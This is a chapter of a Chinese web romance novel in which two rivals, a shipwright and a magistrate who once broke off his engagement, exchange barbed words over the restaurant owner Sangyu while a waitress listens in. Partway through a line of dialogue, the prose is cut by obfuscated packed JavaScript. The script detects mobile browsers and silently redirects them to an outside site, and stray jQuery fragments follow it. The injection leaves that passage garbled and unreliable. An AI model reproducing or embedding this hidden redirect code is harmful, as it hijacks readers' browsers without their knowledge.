107. 情敌相见

作品:《农家小渔女美食日志

    “看来颜大人消息很灵通,这么快就赶到渔家傲,莫不是得知在下回来,赶来吃在下的接风宴,在下怎么记得,我和大人之前没有过交情。”


    颜卿书端起茶杯抿了口茶,微微扯唇:“本官和你确实没有交情,我这次来是找桑榆要事相商。”


    这话分明违心,但他却演技颇佳,说得跟真的一样。


    刚才桑榆听到谢舟回来,看都没看自己一眼,当着他的面掉头就走,被撂在原地的他想跟上去,奈何两只腿比不上四条腿的驴子。


    明明不是很紧急的事,明日再来找她说也可以,但是就这样回去他不甘心,最后也不知道为什么自己鬼使神差地走到她的酒楼来。


    或许心里憋着一口气,那个男人回来了又怎么样,他就不信等不回她。


    想不到没等到桑榆,倒先等到那个活着回来的莽汉。


    那人听到来找的人在去找他的路上,那眼神失落又着急,像归林之鸟,恨不得长出翅膀,屁股没沾到椅子就往外奔了出去。


    看到姓谢的往外跑的那个瞬间,他站了起来,一度想跟着他过去,心里百般挣扎,最后他还是没有动。


    他站在故事之外,仿佛他们之间的局外人,远远看着他们奔向彼此。


    久别重逢,失而复得,恋人相拥而泣的场景一幕幕在眼前闪现,如果他足够识趣,本应远远离开这里,回他自己的家去。


    可是这晚最后他还是没有离开。或许他在和自己的耐性较劲,或许他在赌,赌天亮之前能见到他等的人回来。


    好在他没等多久,她回来了。


    虽然是跟那人一块回的。


    那人落座后很快落了单,另外两个和桑榆一同回来的女子进去厨房帮忙。


    见那张桌子只剩谢舟一个人,他将位子换到了谢舟对面。


    无人注意的角落,两个大男人开始了无声的交锋。


    先开口的是颜卿书,然后便是那句闻音听到的问候谢舟还健在的话。


    闻音正寻思,颜大人怎么大晚上的出现在渔家傲酒楼,一边心说,想不到温润的颜大人对人说话也有这么呛的时候。


    没想到下一句谢舟的话再次让她咋舌,“可是,没有交情,大人又是如何得知我姓谢,还是船匠的,我怎么记得大人好像没见过在下?”


    颜卿书像被噎了一下,很快恢复冷静,“是吗,既没见过,我又没亮明来历,你又是从何得知本官身份的?


    这回轮到谢舟沉默。


    谢舟第一次见到颜卿书是在知县府上领取工钱,第一次见面他就已经从姓氏和探花身份,以及出色的容貌,猜出他是桑榆从前那个定过亲的未婚夫。


    颜卿书更是坦然,毫不掩饰自己私下派人调查过桑榆的过去,对谢舟这个出现在桑榆生活中的人颇有了解的事实。


    后厨忙碌嘈杂,有说有笑,洋溢着比过年还喜庆的气氛,外面却安静得出奇。闻音远远望着这两人,周围似乎弥漫着一股莫名其妙的火药味儿,比后厨的柴火味还重。


    谢颜二人望着对方,互相心照不宣。


    “既然谢船匠知道我,想必不用我自我介绍了。之前我不在,有劳你替我照顾桑榆姐弟俩了。如今有我在,以后桑榆的事,就不劳你费心了。”


    颜卿书这话一落,闻音心里马上一咯噔。


    敢情还真让自己猜对了,还真是吃醋的火药味儿。


    闻音听着这两人你一言我一语,几乎谁也不让谁,心里一时不只是该羡慕桑榆的福气,还是该替桑榆烦恼,连才貌双全的知县大人都对她倾心,看来桑榆还真是深藏不露,以后有得她纠结了。她一边看向自己的恩人谢舟,怎么看都觉得恩人遇上敌手了。


    谢舟就知道这人无事不登三宝殿,还是挑在他刚回来的第一天。


    原来是想吃回头草。


    无论他这话是试探自己和桑榆的关系,还是宣誓主权,他谢舟都不想惯着。


    谢舟好笑道,“颜大人这话说得奇怪,桑榆与我交情匪浅,她的事就是我的事,帮她是应该的,怎么就成我费心了。反倒是大人,据我所知,颜大人和桑榆虽有过婚约,不过早已退亲。桑榆亦曾对在下说,她与大人已无旧情,私下更无来往。桑榆向来自尊爱惜名声,还请大人慎言,省得让不知底细的人听了误会,坏了桑榆的名声。”


    听谢舟提起桑榆曾被颜卿书“退亲”,闻音张大了眼睛,原来这颜大人和桑榆竟是旧识?他和桑榆有过婚约还退了亲,那现在颜卿书放这话,又是唱得哪一出?明眼人如她都瞧出来谢舟对桑榆那看破不说破的情意,这颜大人今晚这话听上去怎么像是后悔退亲,想来插上一脚?


    颜卿书不慌不忙,气定神闲道,“谢船匠,她告诉我和她退了亲,便结束了。这话你信吗?”


    这自信的语气,不慌不恼的风度,说真的,暂且不说退亲之事的前因后果,要真碰上颜卿书这样看上去哪样都拿得出手的对手,闻音得替谢舟捏一把汗。


    谢舟举杯的手一滞,搁下茶杯,故作轻松道,“为何不信?”


    “一见钟情,相知多年,在她最艰难的时候,都还在苦苦等待,等我回来娶她,如果不是心悦彼此,当初她不会省吃俭用为我量身定制做衣裳,我们也不会走到定亲这一步,她对我的感情之深,不是你们这些外人能了解的。”


    说到经他修饰过的“心悦彼此”和量身定制做衣服时,颜卿书脸不红心不跳,尽管他那时根本对过去胆小怕事腼腆内向的桑榆没有好感,更谈不上喜欢。但他知道面对情敌,而且还是可能入了桑榆心的情敌,先来后到的他在开口为自己争取的那一刻起,就做好了即使为这些雕虫小技感到不齿,仍要努力争取一次的准备。


    “既然你心悦她,为何后来和她退亲?他们姐弟俩陷入绝境,桑榆因被退亲受人非议,想不开跳海时,你这个青梅竹马的未婚夫又在哪?”


    谢舟说得义愤填膺。


    诚然,颜卿书才华匪浅,不然也不会一举中得探花。


    只是这人有了仕途,便斩断前缘退亲桑榆。


    这般人品,他实在不敢恭维。


    他替桑榆感到不值。


    如果那天不是自己为了回去给她阿姐做饭,下工得早,下雨天,空无一人的海边,只怕那个时候桑榆早就葬身大海,他这个负了她的人,又如何能在这里三言两语轻松地感谢自己对桑榆的照拂?他到底知不知道他对桑榆造成的伤害有多深,如果不是实在被伤狠了,一个女子如何会抛下自己唯一相依为命的亲人自寻短见?


    颜卿书放在桌上的手将要把茶杯捏碎,正要为自己辩白几句,告诉他那不是自己的本意,孰料对方马上又补了一刀。


    “哦,不对,现在已经是前未婚夫了。”


    看到对方脸色逐渐由白转青,谢舟斩钉截铁道,“她会遇到更好的人,无论是谁,都绝不会是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381990|178122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你。”


    就算那个幸运儿不是他,也绝对会是比他好百倍千倍的人,绝不会是眼前这个曾经抛弃她,害她陷入困境,自己在京城逍遥快活的前未婚夫。


    颜卿书咬牙,“我和她的事,轮不到你来置喙。”


    看不出谢大哥平日沉默寡言的,怼起人来完全不吃亏。


    闻音心里默默赞了声。


    墙角听得差不多,闻音清咳了声,正了正了手上端的托盘,大大方方走去两人过嘴招的那桌,摆起吃食。


    二人见来了人,默契地噤声。


    只是再进去厨房的时候,闻音古怪地看了眼桑榆,轻声笑道,“可惜刚才出去上菜的不是你,错过了一场好戏呢。”


    桑榆做的蟹黄汤包刚出蒸笼,她揭开蒸笼盖,莫名其妙地瞥了闻音一眼,“什么好戏?人不都在这里忙活吗,外面除了谢哥和洒扫的伙计哪还有人?”


    闻音神神秘秘地蹭了下她的肩膀,“以后你就知道了。”


    饭桌上,桑榆看到颜卿书的时候很奇怪,问他怎么还在这。


    就这么不待见他么?他苦笑着正打算回答,一旁的桑盼儿却先替他答了。


    “颜大人是特地为向宫里进贡的事来找你。我见你不在,就让他进来等你。”


    颜卿书见桑榆脸上有了几分高兴,这才将上回进贡的吃食京里贵人很是喜欢,上回的量不够,这回宫里举办元宵夜宴,想要再往京里运载一批沧浪县贡品的事告诉她。


    知道自己做的生腌和海鲜调料品深得圣上欢心,桑榆不禁喜上眉梢,这是好差事啊,获得上面人的青睐,这是送上门的免费广告啊,这不就意味着她作坊下的产品以后能打开北方那一块的销路了吗?


    今天真是好事成双。以后海味坊和酒楼的生意有希望越做越大不说,谢舟还平安无事回来了。


    “多谢大人告知这个好消息,不过今日这么晚了,这准备贡品清单之事,一时半会儿怕是定不下来,不如等会我这边的事完了以后,针对我们这边能提供的新鲜吃食,今晚我初步列一个清单,明日一早我过去找大人相商?”


    桑榆看着坐了满满一桌的谢舟等人,“而且大人也看到了,现在招待亲朋好友,怕是不方便和大人相商。”


    “桑掌柜果然是人逢喜事精神爽。既是如此,何妨让我也沾沾喜气?”


    “大人公务繁忙,我们小打小闹的聚会,怎么敢叨扰大人,占用大人宝贵时间?”


    这是在赶他走?


    刚和谢舟过完招的他本来已经要起身回家,此刻突然不想走了。


    颜卿书平生第一次当了个没有眼色的人,厚脸皮道,“不会,正好我现在有些饿了。桑掌柜和在座的各位要是不介意的话,我也凑一回热闹,省得大晚上的出去满大街寻夜宵吃。”


    桑榆:“……”还可以这样?


    这人怎么越发厚脸皮了?堂堂知府大人,家中已经穷到这种地步了么,蹭饭都蹭到别人家熟人桌席上了?


    被他点名的在座各位中的谢舟倒是很有风度,马上接话道:“大人客气了。大人能参加在下的接风宴,实乃在下的福气,我们又怎么会介意?”


    见桑榆一脸的不欢迎,他体贴补充道,“放心,我食量不大。”


    然后安之若素地继续坐在谢舟对面,两人对视一笑。


    不知为何,桑榆看着两个大男人的笑,总觉得这俩人今天晚上怪怪的。